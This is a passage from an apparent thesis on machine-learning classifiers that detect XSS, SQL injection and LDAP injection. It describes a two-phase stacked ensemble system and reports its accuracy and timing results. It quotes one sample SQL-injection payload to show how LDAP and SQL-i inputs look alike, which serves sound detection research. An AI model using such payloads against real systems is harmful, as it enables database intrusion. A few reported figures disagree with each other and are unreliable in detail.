The confusion matrix shows the details of the classifications; it should be noted that
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the high levels of misclassifications are evident in relation to all types of attacks, e.g.,
some of XSS instances are classified as SQL-i and LDAP, and similar errors were
recorded with respect to the remaining types of attack. From this matrix it can also
be observed that a small number of malicious instances were classified as benign,
although most of the misclassification occurred by the system classifying one kind
of attacks as another type of attack.
5.7 Timing Performance
Timing is an important element of a classifiers’ performance. When building a
classifier system, one of the primary goals is to construct a predictive model which
yields its results quickly with the minimum use of computing resources. Therefore,
the time taken by each multi-class classifier to classify the attacks has been calculated.
The timing was calculated using a device with specifications mentioned in Table 4.6,
in addition to that, the timed experiments were performed using MatLab.
Classifier/Folds 1st/Sec 2nd/Sec 3rd/Sec 4th/Sec 5th/Sec Avrage/Sec
SVM-L 0.1731 0.1098 0.1228 0.1060 0.1096 0.1243
SVM-P 0.3085 0.3048 0.3632 0.3132 0.3063 0.3192
k-NN 31.2627 29.4054 33.9450 30.4406 29.8887 30.9885
RF 0.8761 0.7871 0.6994 0.5884 0.6084 0.7119
NN 0.0786 0.0692 0.0707 0.0699 0.0695 0.0716
Table 5.7 Multi-Class Classifiers Performance Timing
Table 5.7 shows the time it took for each classifier to classify the testing dataset.
It can be observed that the fastest classifier is neural network, it took 0.0716 seconds
for classification. In contrast, the k-NN classifier took a long time to predict the data,
which took 30.9885 seconds to finish the classification.This is because the k-NN
classifier in order to classify a new instance needs to scan the entire training dataset




From the results yielded by the multi-class classifiers, it is clear that such classifiers
have a good ability to classify attacks against web applications, since all these
classifiers achieved an accuracy rate of more than 99% in this regard. Such a
result indicates that they (these classifiers) can be used as a means to defend Web
applications against such attacks. In addition, it can be observed from the confusion
matrices that most of these classifiers have a strong ability to classify XSS attacks,
with only a small number of misclassifications pertaining here, and such attacks are
the focus of this thesis. Moreover, multi-class classifiers could be seen to achieve a
high rate of detection of SQL attacks as most of them yielded only a small number of
cases where SQL injections were classified as benign instances. In the case of LDAP
instances, the classification abilities of these multi-class classifiers was acceptable,
since most LDAP instances were classified as malicious in one way or another. The
random forest classifier may be at least partially relied upon as a security layer to
be placed between client and server as it returned the highest accuracy rate; such
a layer would examine inputs and classify them as either benign or as one of the
three types of attack. The selection of the random forest classifier, in particular, as a
system which could be relied on for this task was made on the basis of a security
perspective. This classifier took only 0.6600 seconds to perform the classification,
and furthermore it yielded the best classification accuracy among all classifiers. The
number of false positives yielded by each classifier has also been taken into account
in relation to this choice.
The misclassification which could be ascribed to the multi-class classifiers were
due to two main causes. In the case of misclassified XSSs, these were due to the
similarity of such scripts to normal text, and in relation to this it was noted that the
misclassification within the multi-class classifier occurred when it was processing
long scripts, which did not have a sufficiently large ratio of script-like features. These
long scripts tended to contain a large number of letters which made the ratio of letters
and readable text to other text quite large. The second reason that misclassification
occurred with respect to instances of SQL-i and LDAP is the similarity in the
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structures of these two types of injection, since both types use SQL statements in
their attacks [31]. An example of the type of similarity which occurs between SQL-i
and LDAP is the similarity found in relation to their non-alphanumeric features.
ldapQuery = and 8514=(select count(*) from domain.domains as
t1,domain.columns as t2,domain.tables as t3) and (4666=4666




Moreover, in the case of multi-class classifiers, the misclassifications may have
been related to the classifier optimizations used since the same optimization was
employed as applied to the single-class detection of XSS attacks. In addition, the
dataset was quite varied in terms of the numbers of the different types of instances
and the tallies of the different features used across all instances. The smallness of
the LDAP subset, in particular, was one of the factors influencing misclassification
One means by which to improve classifier performance which can be suggested
is to optimize the classifier in relation to the dataset that was employed for training.
Furthermore, single-class classifiers can be used sequentially and so the input data
can be checked by three separate classifiers, as each classifier examines a particular
type of attack. This is the reason for the fact that the single-class classifiers have a
higher accuracy rate than the multi-class classifier. Another way to improve multi-
class performance is to deepen the extraction of features, especially in relation to
differentiating between SQL-i and LDAP; this could be achieved by, for instance,
assigning values to the features other than just 0,1. These solutions are not available
now. Time would be needed to design and implement them; thus this might be a




In this chapter, the purpose of, and the motivation for, creating multi-class classifiers
is discussed. Then, the dataset that was used to train, and then to test the performance
of, the multi-class classifiers was described. Furthermore, the features that were
employed in the training of the classifiers (to detect the types of injection attack)
were explained. The classifiers’ performance results were reviewed in detail with an
analysis of each classifier’s performance. In addition, the process-time performance
of each classifier was presented for each of the multi-class classifiers. Suggestions
and solutions were provided in relation to increasing the accuracy of the classifiers.
It can be concluded from this chapter that the extracted features and their repre-
sentation as Boolean had a great impact on detecting injection attacks. The accuracy
was greater than 99% for all the classifiers, in addition to this precision rates achieved
more than 99% except for the SVM with polynomial kernel when detecting the XSS
where it achieved 98%.
It can be noted that the results of the comparison of the multi-class classifiers with
the single classifiers achieve close results, as the single classifiers achieved results of
more than 99%. This gives an indication that the non-alphanumeric features can be a




Combining Classifiers and Ensemble
Techniques
6.1 Introduction
In Chapter 4 the creation of classifiers was discussed, along with the methods avail-
able for tuning them in order to achieve the best classification results. Preliminary
results yielded by the classifiers constructed for this research were presented and
evaluated, using two methods: cross validation and the simulation of real-world
attacks via the holdout method. This chapter gives an overview of the ensemble
techniques with the methods which can be used in relation to this. The ensemble
technique will be the basis of the experiments described in this chapter. In addition,
this chapter will highlight the work which used this technique in an implementa-
tion of an intrusion detection system - so demonstrating the ensemble technique’s
effectiveness. The purpose of this chapter is to exhibit the methods we have found
for increasing the accuracy of classifiers in detecting XSS attacks. These methods
involve the use of the ensemble technique and also of cascading classifiers, the latter
for filtering the classification. These methods are compared with classifiers that do
not rely on these techniques. Section 6.4 details a proposed system which is based
on the idea of using the ensemble technique and cascading classifiers for detecting
XSS attacks. This work has, in part, been published previously [131], but there are
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some differences between the two approaches which will be examined in the later
sections of this chapter. The new approach - as proposed here - constitutes one of
the contributions to this thesis and is aimed at improving classifier performance
in relation to the detection of XSS attacks. Section 6.8 presents the results of the
evaluation of the classifiers employed within the proposed system; this evaluation
used cross validation and holdout methods. In addition Section 6.9 presents the
performance related findings regarding these classifiers which led to the choice of
meta classifier. Section 6.10 shows the proposed system performance in terms of
real-world problems. Section 6.11 looks at the performance of the system in relation
to speed; this evaluation assisted with the choice vis-a-vis the best classifier to use as
a meta classifier.
This work has been published in the International Joint Conference on Computa-
tional Intelligence conference (IJCCI 2018), titled Preventing Cross-Site Scripting
Attacks by Combining Classifiers [131].
6.2 Ensemble Techniques Overview
Ensemble techniques can be defined as those which combine multiple models in
order to produce more stable, accurate and powerful predictive results than using a
single model would [145]. Moreover, ensemble techniques have proved successful;
for example, the winner of the Netflix competition [170] implemented a powerful
filtering algorithm by using an ensemble method, while the winner of KDD 2009
also used ensemble methods [141]. A wide range of ensemble-based algorithms have
been developed under different names: bagging [25], random forests, composite
classifier systems [45]; mixture of expert systems [87, 91]; stacked generalization;
consensus aggregation [208]; combination of multiple classifiers; [215], dynamic
classifier selection; [211], classifier fusion; [23], committee of neural networks; [50],
classifier ensembles; [112]; and others. The most prominent, widely used, ensemble
algorithms will be reviewed here. These are:
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6.2.1 Bagging
This is also called Bootstrap Aggregation [25, 47], Bagging creates a series of
instances of the same type of classifier, each one built by independently training it
on a random sample of the training dataset. The overall classification is achieved by
combining the results of the instances; for example, by majority voting. This method
is suitable for high variance with low bias models.
6.2.2 Boosting
This is a class of iterative approaches to generating a classifier. An initial classifier
is developed, and then subsequent classifiers are trained to avoid misclassifications
which have occurred in previous iterations [32]. The ensembles of weak classifiers
used by boosting methods are suitable for high bias with low variance models.
6.2.3 Stacking
This is also called stacked generalization; [208] combined multiple classification
models by using a number of different learning algorithms in order to train different
base level models. This construction of the base level is the first phase in the stacking
process; the second phase is to use the outputs from the first phase classifiers as the
input to another, independent, classifier which performs the final classification. The
base level uses a standard dataset of examples, abstracted to feature vectors and class
labels, to build the classifiers. The meta classifier of the second phase of the stacking
process uses the outputs of the base level classifiers to build its training dataset, the
base level outputs being features [53, 218]. Figure 6.1 shows the workflow of the
stacking method
The approach employed in the present research takes advantage of the stacking
method; here, it will be used in order to increase the accuracy and precision rates in
relation to distinguishing between malicious and benign scripts in the user inputs.
With the aim of filtering inputs, cascading classifiers will also be used. Cascading
generalization [66] is a means of combining classifiers; the output of the first classifier
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Fig. 6.1 Ensemble Stacking Method [185]
will be used as an input to the next classifier [219], and so on for as many classifiers
as considered appropriate.
In the system proposed here, concatenating several classifiers in a cascade has
been used to improve classification accuracy and to filter the inputs [13]. The
method adopted is stacked combining; all the classifiers used in this research will be
employed to classify the same dataset, containing, of course, the same features.
6.3 Ensemble Techniques in Intrusion Detection Sys-
tems
Ensemble techniques, including cascading and stacking, have been used in a number
of contexts for preventing the exploiting of vulnerabilities in networks or web
applications. This section provides a brief overview of relevant work using multiple
classifiers.
Cascaded classifiers are employed in [101] to detect network intrusion. A first
classifier classifies the input as being either Normal, or a Denial of Service or a
Probing attack and a second classifier classifies the inputs as being either Normal,
or a Remote to Local or a User to Root attacks. This allows the J48 and Bayesian
Network (BN) classifiers, which are deployed next, to work with more balanced
data, leading to an increase in detection rates (94.8% using J48-BN and 94.2% using
BN-J48).
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In [212] a multiple-level hybrid classifier made up of sub-classifiers based on
either decision trees or Bayesian clustering methods was used to implement an intru-
sion detection system. The system used four stages of classification, the first three
stages distinguished between general types of attack and the final stage classified
the attack into specific types. Different features were looked at in each stage. Their
approach achieved a 96.80% detection rate.
The stacking of an SVM with 9 other machine learning algorithms (BayesNet,
AdaBoost, Logistic, IBK, J48, Random Forest, JRip, OneR and SimpleCart) was
studied in the context of intrusion detection systems in [33]. As in the previous
works, the NSL-KDD dataset was used. The experiments performed compared the
performance achieved by using SVM as a meta-classifier together with each of the
other (sub) classifiers, against a benchmark of using an SVM only. The best classifier
proved to be SVM stacked with Random Forest, which achieved 97.50% accuracy
with 97.60% precision; this was considerably better than using SVM only, which
achieved 91.81% accuracy and 91.70% precision.
In [7] a model for detecting attacks against a web server which depended on a
HTTP payload structure was proposed. The payload was analysed by five different
Hidden Markov Model (HMM) ensembles. The outputs were then used as features
for a one-class classifier analysis. The experiments used two datasets containing
‘normal’ HTTP requests, the first collected from requests sent to the website of the
Georgia Tech (GT) company, and the second dataset collected from requests sent
to the website of the authors’ department at the University of Cagliari (DIEE). The
dataset containing attacks came from [155]. The results of the experiment were Area
Under the Curve (AUC) averages of 84.7% with the DIEE dataset, and 82.7% with
the GT dataset.
A tool called VEnsemble was presented in [69], which used ensemble techniques
for Vulnerability Assessment and Penetration Testing (VAPT). VEnsemble works by
scanning the target (be it a system, some software, or a network) using a variety of
VAPT tools, then converting their outputs to a numerical form - calculating weights
based on VAPT tool accuracy and calculating a final result based on majority voting.
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6.4 Proposed System
There are often data entry points in web applications which allow the user to enter
data via the web application interface. Utilising these points an attacker may be
able to insert malicious code into the application and have this stored on the web
application server. The proposed system is aimed at checking user input to see
whether it is normal text, or a benign script, or a malicious script and in the case
where the input is normal text or a benign script allow this to be stored on the server
- whilst if the input is a malicious script, it will be quarantined. This will be done by
using a combination of classifiers, across two phases. The first phase will determine
whether or not the input is normal text or a script. The second phase will determine
whether those inputs which were classified as scripts in the first phase are benign or
malicious. This second phase will itself be built as a combination of five classifiers.
The novelty of the proposed system is that it is considered one of the first methods
to use stacked ensemble technique to detect XSS attacks on the server side. Whereas,
this method was used with IDS and was not intended for XSS. The goal of this
system is to improve on the accuracy of classifiers which detect XSS attacks, as well
as to filter the inputs by only passing scripts to the second phase. The operations of
the two phases can be described as follows.
6.4.1 Phase 1: Text Classification
The purpose of this phase is to distinguish whether a user’s input text is normal
text or a script. A decision tree classifier will be used to determine the type of text
entered in these terms. If the type of the data is ’text’, then this data will be stored on
the application server without any further classification processing being performed.
The second phase is only instigated if the entered data is a script; this structure filters




6.4.2 Phase 2: Script Classification
The purpose of the second phase is to determine whether a script which has been
entered at a data input point is malicious or benign. This phase receives the outputs
from the first phase; these outputs have already been classified as scripts, otherwise
it would not be necessary to classify them as either malicious or benign. This phase
is divided into two stages. The first stage is called the base level and the second stage
is called the meta stage.
6.4.2.1 Base Level
The base level receives the relevant outputs from the first phase then passes them
into five classifiers; these are of the following types: a Support Vector Machine
with a linear kernel (SVM-L), a Support Vector Machine with a polynomial kernel
(SVM-P), a k-Nearest Neighbour (k-NN) classifier, a Random Forest (RF) classifier,
and a Neural Network (NN). The purpose of these classifiers is to classify the scripts
as being either malicious or benign, then pass these classifier results to the meta level
where they become inputs to the meta classifier.
6.4.2.2 Meta Level
The meta classifier receives the outputs of the five classifiers at the base level; thus,
these become the inputs to the meta classifier. The meta classifier then makes the
final decision, based on the classifications made by the various classifiers at the base
level, regarding whether each input is a malicious or benign script. In the cases
where the script is benign, it will be stored in the web application server. In the cases
where the script is found to be malicious, then the script will be quarantined and not
allowed to access the server. Since the goal of the proposed system is to increase the
accuracy of detection of XSS attacks, so all the classifiers namely SVM-L, SVM-P,
k-NN, RF, and NN were examined to choose the best accuracy between them to be
as a meta classifier.
Figure 6.2 illustrates the proposed system including the two phases.
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Fig. 6.2 XSS Preventing System.
This approach, essentially, was published in [131], however there are some
differences, here, in terms of the dataset and features used. These differences will
be clarified later, section by section. Furthermore, the results yielded by the two
versions of the approach will be compared and differences will be discussed.
6.5 Datasets
For this approach, a dataset was utilized which contained two types of instances,
normal text instances taken from in Table 3.5 and script instances collected and then
stored in XSS dataset in Section 3.3.1. It is, of course, the script instances which
can be either malicious or benign. The total instances included in the dataset was
49,218, and these have been used to both train the classifiers and test the system. The
difference between this approach and the approach in [131] is that that utilized only
39,095 instances. One important difference resulting from the increased number
of instances is the inclusion of a number of SQL-i examples in the training dataset.
This makes the dataset more comprehensive and inclusive of more types of scripts
– all of these kinds of script could be injected through entry points. The following
two sections relate the way in which the dataset was divided, for this approach, into




Two datasets were created in order to train the system. The first dataset contained
normal text instances, labelled as text and malicious or benign scripts, labelled just
as scripts. The second dataset contained only scripts, labelled as either malicious or
benign. There was also a meta dataset which was created by the second phase. The
following is an explanation of the training datasets used for both phases.
6.5.1.1 Text Dataset
The training dataset created as shown in Table 3.5 was used. This contained 6,000
instances, divided into 3,002 normal text labelled as text and 2,998 scripts simply
labelled as script. In [131] a dataset was used that contained 14,999 instances - 4,972
of these were labelled as normal text and 10,027 were labelled as scripts. The text
dataset will be used to train the classifier employed in the first phase to distinguish
between normal texts and scripts.
6.5.1.2 Script Dataset
In order to train the classifiers in the second phase to distinguish between malicious
and benign scripts, an appropriate training dataset was employed – see Section 3.3.1.
This contains 19,122 instances (of scripts) divided into 5,150 instances labelled as
malicious and 13,972 labelled as benign. In [131] a dataset was used which contained
a total of 14,999 scripts, 10,001 of these were either normal texts or benign scripts,
and 4,998 of these were labelled as malicious scripts.
6.5.1.3 Meta Dataset
The training dataset for the meta stage was created by using the base-level classifiers’
outputs with regard to their training data. The base level classifiers were employed
to classify the scripts in the training dataset and so generate outputs which could be
used as features in the meta dataset. The scripts were classified as either malicious
or benign, then labelled as such to form the training dataset for the meta level. The
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purpose of this generated training meta dataset was to train the meta classifier to
distinguish between benign and malicious instances from this data presented to the
meta level of the second phase.
6.5.2 Testing Dataset
For the purposes of testing the system, a testing dataset was required and thus in
Section 3.3.1 was employed; this dataset contained 24,096 instances divided into
10,000 malicious scripts, labelled as malicious and 14,096 benign instances, some of
which were normal text, labelled as such, and some of which were benign scripts,
labelled as benign.
6.6 Features
Two sets of features were used, one for each phase; text features were used in the first
phase to determine whether a user input was a normal text or a script. In the second
phase, XSS features were used to differentiate between the malicious and benign
scripts; this classification based on XSS features was provided by the base level;
the meta-level used these results from the base level to come up with its own final
classification (of either benign or malicious) The following will detail the feature
sets used for each phase.
6.6.1 Text Features
The features used to differentiate between normal text inputs and scripts are detailed
in Table 3.10. These features are used by the first-phase classifier. All of these six
features take a value between 0 and 1 - which represents the proportion of the text





The features used to differentiate between malicious and benign scripts are detailed
in Tables 3.6, 3.7, and 3.8. The number of features used in the approach mooted
here is sixty-five; these are divided into two categories, non-alphanumeric features
and alphanumeric features. All the features take the value 0 or 1, where 0 represents
the non-occurrence of a feature within a script and 1 represents the opposite, the
occurrence of a feature within a script. The number of features used is one of
the main differences between the approach taken here that taken in [131], where
the number of features used was sixty two. The features that have been added
for this approach are: Break Line, Alert, and Symbols. These can all be found in
Table 3.8. The other difference between this approach and the previous one is the
representation of two features, namely the presence of letters and numbers. these
features are represented in this approach as by either 0 or 1, but were represented
in [131] with values between 0 and 1 (indicating the percentage of the occurrence of
such characters within the script).
6.6.3 Meta Features
The meta features used consist of the outputs of the classifiers at the base level. Thus,
the number of features employed at the meta level depends directly on the number of
classifiers used at the base level; in this specific approach five classifiers were used.
Accordingly, the number of features employed at the of meta level was five. Each
feature (representing the output of one particular classifier) takes the value either 0
or 1, the reason being that the classifier outputs are (0,1) – for benign or malicious
respectively.
6.7 Classifiers
A range of classifiers are used across the two phases of this approach: decision tree
classifiers are applied in the first phase only, and SVM-L, SVM-P, k-NN, RF, and
NN classifiers are employed at both the base and the meta level of the second phase.
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The reason for the use of all these classifier types at the meta level is for the purposes
of investigating them in order to discover which classifier type is the best one to use
as a meta classifier here. The classifiers were tuned using the training dataset, and the
evaluation of the optimised classifiers was performed using five-fold cross validation
with respect to the training dataset. The entire training dataset was then employed to
train the final choice of classifiers for each phase and these (the classifiers) were then
evaluated using the testing dataset. The two phases were then cascaded together.
6.7.1 Text Type Classifier
For the first phase, the text type classification, a Decision Tree (DT) classifier was
created by using the training dataset. DT optimization was employed - as described
in Section 4.3.1 by tuning the "MaxNumSplits" parameter to control the maximum
number of decision splits on a branch to be 2.
6.7.2 Script Type Classifier
Classifiers were optimised in the course of training, leading to the following specific
models being used for evaluation. The base level classifiers were optimised as
follows: SVM-L was optimised by setting the "BoxConstraint" parameter to 0.5.
SVM-P was optimised by setting the "OutlierFraction" parameter to 0.73. k-NN
was optimised by setting "NumNeighbors" to 1. RF was optimised by setting the
number of trees to 70. NN was optimised by setting the number of hidden units to 10,
and the train function to "trainbr". Sections 4.3.2, 4.3.3, 4.3.4, and 4.3.5 detail the
classifiers optimisation methods applied. The other difference between the approach
taken here and that described in [131] is the setting of the classifiers’ parameters;
in this previous experiment, the classifiers were optimised by the use of alternative
parameters values: SVM-L was optimised by setting the "BoxConstraint" parameter
to 0.07; SVM-P was optimised by setting the "OutlierFraction" parameter to 0.1;
and Random Forest was optimised by setting the number of trees to 20. The same
settings for the neural network and the k-nearest neighbour classifiers were used in
both approaches.
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Overall, the same settings were used for the meta level classifiers; this was except
for the fact that the "NumNeighbors" parameter was increased to 100 for the k-NN
classifier. This was as in the [131] approach and was for the purpose of increasing
this classifier’s accuracy.
6.8 Cross Validation Evaluation
This section presents the results yielded by the evaluation of the classifiers in relation
to the training data as regard both approaches and highlights the differences between
these approaches. The descriptive statistics are averaged across the five folds cross
validation.
6.8.1 Text Type Classification
Table 6.1 presents the results yielded by the DT text classifier employed in the first
phase; the results produced by the current approach, in this respect, were better than
those achieved by the approach given in [131]. Here, 99.73% accuracy and 99.63%
precision rates were achieved. Details of this classifier are provided in Section 4.5.1
and the Table 4.7; the latter includes the confusion matrix for each fold in the cross
validation evaluation.
Accuracy Precision Sensitivity Specificity
99.96% 99.96% 99.96% 99.96%
Table 6.1 Decision Tree Text Type Classifier Evaluation.
6.8.2 Script Classification: Base Level
The five base level classifiers, which are of the following types, SVM-L, SVM-P,
k-NN, RF, and NN, were each evaluated using a five-fold cross validation and the
resultant averages are given in Table 6.2; this demonstrates slightly better results
than those which were achieved in [131]. Section 4.5.2 details the results of the cross
validation of this approach, in addition to including confusion matrices for each fold.
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Accuracy Precision Sensitivity Specificity
SVM-L 98.83% 96.97% 98.69% 98.89%
SVM-P 99.22% 98.26% 98.82% 99.36%
k-NN 99.47% 98.98% 98.81% 99.62%
RF 99.52% 98.73% 99.49% 99.53%
NN 99.26% 98.63% 98.65% 99.49%
Table 6.2 Base Level Classifiers Evaluation
6.8.3 Script Classification: Meta Level
The five base level classifiers are then stacked. The outputs from the five classifiers
provide the features for the meta classifier. Five choices of meta classifier are
investigated, the selection being between SVM-L, SVM-P, k-NN, RF, and NN. The
results of the evaluations of these five stacked classifiers are given in Table 6.3. The
results yielded in this approach are slightly better than the results obtained in [131].
Accuracy Precision Sensitivity Specificity
SVM-L 99.98% 100% 99.90% 100%
SVM-P 99.98% 100% 99.94% 100%
k-NN 99.97% 100% 99.92% 100%
RF 99.98% 100% 99.94% 100%
NN 99.98% 100% 99.94% 100%
Table 6.3 Meta Level Classifiers Evaluation
6.9 Testing Performance
The final trained classifiers used on the test data were generated by training them
on the entire training dataset. These classifiers were then evaluated on the testing
dataset – no instance of which had been used in the tuning and training. The aim of
conducting this test were to simulate a real world attack, in addition to selecting the
best classifier for the role of meta classifier.
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6.9.1 Testing the Text Classifier
The final, trained DT classifier for determining text type was tested using the text
dataset - which contains both scripts and normal text. The testing dataset that was
used to test the decision tree classifier was created as shown in Table 3.5; it consists of
3,000 instances labelled as text and 3,000 instances labelled as script. The difference
between this approach and the approach in is that a specifically text-type testing
dataset has been used for evaluating the classifier instead of the XSS testing dataset
(used for both purposes in [131]). The first stage yielded the results given in Table 6.4.
These results are detailed in Section 4.5.1.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Text Payload
99.96 99.93 100 99.93 Text 2998 2
Payload 0 3000
Table 6.4 First Phase: Text Classifier Performance
From Table 6.4, the classifier has correctly classified all scripts instances. In-
terestingly, it has two instances of normal text that have been classified as a script,
after re-checking the instances, it was found that all cases contain incomprehensible
characters, which are classified as script.
6.9.2 Testing Script Classifiers
All classifiers were tested as described in Section 4.5.2, and the classification details
are presented in Tables 4.10, 4.12, 4.14, 4.16, and 4.18. The base level classifiers’
performance with respect to the base testing dataset (which includes both scripts and
normal text) is summarized in Table 6.5.
The five meta level classifiers, each using the outputs from all the five base level
classifiers were tested. The performance of these classifiers is presented in Table 6.6.
From Table 6.6, it can be seen that the best classifier, in terms of accuracy rate,
was the neural network classifier which achieved 99.93% accuracy, the second best
was the k-NN classifier with an accuracy rate of 99.92%. From the point of view
of security, the precision rate must be taken into account; in this regard, the k-NN
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Accuracy Precision Sensitivity Specificity
SVM-L 99.82% 99.89% 99.69% 99.92
SVM-P 99.57% 99.16% 99.80% 99.40%
k-NN 99.90% 99.94% 99.84% 99.95%
RF 99.93% 99.96% 99.89% 99.97%
NN 99.85% 99.86% 99.78% 99.90%
Table 6.5 Base Level Testing Performance
Accuracy Precision Sensitivity Specificity
SVM-L 99.90% 99.94% 99.84% 99.95%
SVM-P 99.90% 99.94% 99.84% 99.95%
k-NN 99.92% 99.96% 99.85% 99.97%
RF 99.90% 99.94% 99.84% 99.95%
NN 99.93% 99.94% 99.91% 99.95%
Table 6.6 Meta Level Testing Performance
classifier was best, achieving a 99.96% precision, the second best this times was
neural network classifier which achieved a 99.94% precision rate. Thus, the k-NN
classifier was chosen as the meta classifier to be used the purposed system. In
the approach given in [131] SVM with polynomial kernel has chosen as the meta
classifier; it achieved a 99.93% accuracy rate and a 99.96% precision rate in that
study. The second phase, here, demonstrates the ability of a stacked classifier to
classify scripts as malicious or benign, with a 99.92% accuracy rate and 99.96%
precision.
6.10 Testing The Entire System
For the purpose of testing the entire cascading system’s performance in relation to
a simulated real world attack, an XSS testing dataset containing normal text, and
malicious and benign scripts was used as input to the first phase – wherein a decision
tree is used to classify the data as either text or script. Then, all the inputs classified
as a script by the first phase were used in the second phase as inputs. This phase uses
a stacking classifier with k-NN as the meta level classifier over the five base level
172
6.10 Testing The Entire System
classifiers - SVM-L, SVM-P, k-NN, RF and NN - in order to determine whether a
script is benign or malicious.
Table 6.7 shows the confusion matrix relating to both stages where the rows
provide the true classifications and the columns those given by the classifier.
First Phase Second Phase
Text Code XSS Benign
Text 4040 56 XSS 9995 4
Code 22 19978 Benign 11 10024
Table 6.7 Entire System Confusion Matrix
Compared with the approach discussed in [131], it can be observed that the
number of false positive and false negative cases yielded was lower in the present
study. This is because there are more instances in the text training dataset than
were used before; thus, this contains more examples which can be used to train the
decision tree classifier. On the other hand, in relation to the second phase, it can be
observed that the classification results are very close. Table 6.8 shows the results
relating to the entire system’s performance.
Accuracy Precision Sensitivity Specificity
1st Phase 99.67% 98.63% 99.45% 99.72%
2nd Phase 99.92% 99.96% 99.89% 99.96%
Table 6.8 Entire System Performance
From Table 6.8, it can be observed that the system could distinguish between
user inputs - whether normal text or script - with an accuracy rate of up to 99.67%
and a precision rate of up to 98.63%. This is lower than that achieved in [131] the
approach in that study yielded 99.97% accuracy and 99.85% precision with respect
to this.
In the second phase, both approaches achieved the same level of results with
accuracy rates of 99.92% and precisions of 99.96%, but this was using two different
classifiers: the support vector machine with polynomial kernel classifier was used
in [131] and the k-NN classifier was used in this approach. Comparing the end result
of the system with the initial results, or in other words with the base level classifiers,
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it can be observed that the effect of using the stacked method was to increase the
performance of the k-NN classifier. Another observation is that the end result was
the same as the result yielded by the random forest at the base level, which is using
the ensemble technique.
6.11 Timing Performance
The goal of this work is to create an overall classifier which can be used as a
layer between the input entered by the data and its access to the database of a web
application. Hence, the classification needs to be executed quickly enough that the
performance of the website will not be impacted. To this end, the time taken by the
classifiers was looked at. Table 6.9 details the system time taken (in seconds) by
each stage when the testing set of 24,096 scripts was classified, as in Section 6.10.
This total time includes the time taken by the DT classifier for the first phase, the
time taken by each of the base level classifiers to return results, and the time taken
by the meta level classifier. The timing for both phases were calculated using a
computer with specifications mentioned in Table 4.6, and the timing experiments
were performed using Matlab 2018b. Timing was calculated by averaging five
experiment execution as shown in Table 6.9.
Classifer 1st/Sec 2nd/Sec 3rd/Sec 4th/Sec 5th/Sec Average
DT 0.0030 0.0033 0.0052 0.0045 0.0023 0.0037
SVM-L 0.1228 0.1317 0.1331 0.1263 0.1288 0.1286
Base SVM-P 0.1176 0.1121 0.1134 0.1118 0.1182 0.1146
Level k-NN 6.4300 6.4659 6.2867 6.3942 6.3495 6.3853
RF 0.8547 0.9036 0.8816 .8541 0.8358 0.8660
NN 2.4800e-05 2.3800e-05 2.4700e-05 0.0001 3.5000e-06 4.13e-05
SVM-L 0.0033 0.0040 0.0033 0.0034 0.0034 0.0035
Meta SVM-P 0.0041 0.0038 0.0045 0.0034 0.0046 0.0041
Level k-NN 1.2676 0.7973 0.5899 0.5844 0.6452 0.7769
RF 0.5524 0.4025 0.3763 0.3310 0.3183 0.3961
NN 1.5890e-04 1.6930e-04 1.7060e-04 1.5320e-04 1.6380e-04 0.0002
Table 6.9 Time Performance
The overall time of 8.275 seconds is dominated by the system time usage of the
meta k-NN classifier. Whilst the cost, in terms of time, of each classification remains
small, k-NN was considerably more expensive than other classifiers. In [131], the
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time taken for the two phases was 6.1834 seconds, so the previous approach was
quicker than the present one. The reason for this increase was the use of a k-NN
classifier twice: as a meta classifier as well as a stacked classifier. This is because
k-NN scans all the training datasets for both levels. The reason for this is because
the k-NN classifier does not have a training part as other algorithms.
To improve the system time performance the experiment was repeated, but this
time the use of k-NN was excluded and the neural network classifier was used as the
meta classifier instead. This choice was made because the neural network classifier
took very little time to come to its decisions, as is shown in Table 6.9, although it
came second place after the k-NN classifier in terms of precision rates, as shown in
Table 6.6. After conducting this modified experiment, the same classification results
were obtained as those yielded by the use of k-NN. However, there was a difference
in the time taken to complete the task. The system, as it was configured without the
use of k-NN, finished (both phases) in 1.1131 seconds; this is a significant difference
in the time taken to complete the classifications.
In conclusion, the DT classifier gives excellent results for text classification,
with an accuracy of 99.67%. The base level classifiers for determining whether
an instance is benign or malicious all perform well, and as was conjectured, each
of the meta level stacking classifiers improved on the base level results. The final
classifiers resulting from the training using the whole training dataset provided strong
results when evaluated using the testing dataset (no instances of which were used in
the training and tuning of the classifiers) to simulate a real world deployment. All
of the base level classifiers yielded over 99% accuracy, precision, sensitivity and
specificity. With the base level classifiers already working so well, there is little
room for stacking to improve performance; however, a small improvement can be
observed, with the all classifiers giving the best results except the RF classifier. NN
was used as the meta level classifier in the stacking classifier for end-to-end testing.
The first phase of the cascading classifier, which distinguish between normal text
and scripts, yielded a small number of false negatives - which means a number of
scripts were classified as text; this is a weakness in the proposed system, and was
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caused by the small size of the text training dataset. However, some normal text
instances were misclassified as scripts and passed to the second phase. However, as
has been established, script classification will correctly classify these instances as
benign, so this is not problematic. The second phase, using a stacked classifier with
NN at the meta level instead of k-NN, achieved the same results, but there was a
significant difference in the time taken to complete the classification process. The
proposed system proved its ability to classify user inputs as malicious or benign with
high accuracy and precision.
6.12 Summary
In this chapter, an overview of the ensemble technique was first provided. This
included an outline of the most important methods used with this technique and
an overview of cascading classifiers. Furthermore, previous studies relating to the
application of ensemble techniques and the combining of classifiers with intrusion
detection systems were looked at. In addition, a detailed explanation of the proposed
system for detecting XSS attacks was presented, including an explanation of the
phases that are used to differentiate between normal texts, and malicious, and benign
scripts. Moreover, the datasets that were used for training the classifiers and testing
their performance, including the meta dataset, were described. In addition, the
features used for both phases were detailed, including the features relating to both
texts and scripts – along with an explanation of the way in which the features for
use by the meta classifier were generated. The results of the evaluations, using the
cross validation and holdout methods, of the classifiers across both phases were
presented. In addition, the results of the entire system test have been presented.
The execution time performance of the entire system was presented along with the
techniques which could be used to achieve the best performance (of the proposed
system).
It can be concluded from this chapter that the stacked ensemble technique has
achieved accuracy results very similar to the results of single classifiers. In terms of
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cost, the stacking technique is higher than using single classifiers in terms of time.
Hence, the use of single classifiers can be preferred over the use of stacking technique.
The point to be gained from this chapter is that stacked ensemble technique is one of




Rule Extraction from Black Box
Classifiers
7.1 Introduction
In Chapter 6, the use of ensemble technique was reviewed in relation to increasing
the classification accuracy in terms of distinguishing between malicious and benign
scripts. The classifiers involved were evaluated and it was found that they achieved
results representing high predictive accuracy in the detection of XSS attacks – with
respect to a large real-world dataset containing both malicious and benign scripts.
A factor of interest is that the features used to train these classifiers are Boolean
valued. It is necessary to extract the rules from a classifier in order to detect XSS
attacks; extracting the rules used by classifiers is essential in order to understand the
decision making undertaken by such classifier in order to achieve the high accuracy
